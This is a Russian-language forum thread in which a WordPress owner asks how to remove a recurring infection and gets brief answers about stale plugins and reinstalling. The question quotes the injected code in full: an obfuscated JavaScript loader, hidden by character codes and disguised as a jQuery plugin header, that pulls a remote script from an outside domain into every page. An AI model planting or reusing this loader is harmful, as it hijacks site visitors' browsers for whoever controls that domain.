Как очистить сайт от «вируса»?

Question

[tomtaker]

Добрый день, столкнулся с крайне не приятным явлением, а именно:
Нечто регулярно модифицирует файлы jqyery и header всех тем сайта
Соответственно я чищу файлы и спустя некоторое время это происходит снова
По тегам понятно, но все же уточню, что это WordPress
Пожалуйста подскажите где искать эту заразу

Вот собственно код модификации

var po = document.createElement('script'); po.type = 'text/javascript'; po.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 97, 108, 108, 121, 111, 117, 119, 97, 110, 116, 46, 111, 110, 108, 105, 110, 101, 47, 109, 97, 105, 110, 46, 106, 115, 63, 116, 61, 110, 112, 106, 108, 99); var scripts = document.getElementsByTagName('script');
  var need_t = true; for (var i = scripts.length; i--;) {if (scripts[i].src == po.src) { need_t = false;}else{} } if(need_t == true){document.head.appendChild(po);}/*! jQuery Validation Plugin - v1.15.1 - 7/22/2016

Answer 1

[tomtaker]

нашел ответ - https://blog.sucuri.net/2017/09/old-themes-abandon...

Answer 2

[Dimonchik]

в WP обычно пролазит через модули, особенно давно не обновлявшиеся

ингда лечится накатыванием всего нового на ту же базу (копию)

Answer 3

[Станислав Бодро́в]

Сносить всё. Именно всё. И ОС тоже. Заново всё с умом накатывать.